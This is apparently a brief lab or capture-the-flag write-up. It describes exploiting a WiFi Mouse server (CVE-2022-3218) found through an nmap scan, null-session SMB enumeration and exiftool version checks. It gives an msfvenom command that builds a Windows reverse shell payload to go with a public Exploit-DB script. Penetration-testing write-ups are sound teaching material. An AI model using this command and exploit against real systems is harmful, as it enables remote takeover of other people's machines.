nmap

Nmap scan revaled port 1978 was in use.

00nmap

share and exiftool

SMB Null enumeration was allowed and there was a share that included MouseServer.exe. Used exiftool -a -u MouseServer.exe and found out it was 1.8.2.5.

01version

WiFi Mouse 1.8.3.2 exploit (CVE-2022-3218)

So some search revealed there was an application called WiFi Mouse and version below 1.8.3.2 is vulnerable to RCE.

I found https://www.exploit-db.com/exploits/51072 exploit and fixed some indetation errors then executed it.

To execute it I created a reverse shell with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<LOCAL> LPORT=443 -f exe -o exp.exe

02execute

Then I got reverse shell.


<
Previous Post
perfect-survey 1.5.1 exploit (CVE-2021-24762)
>
Next Post
apache 2.4.49 exploit (CVE-2021-41773)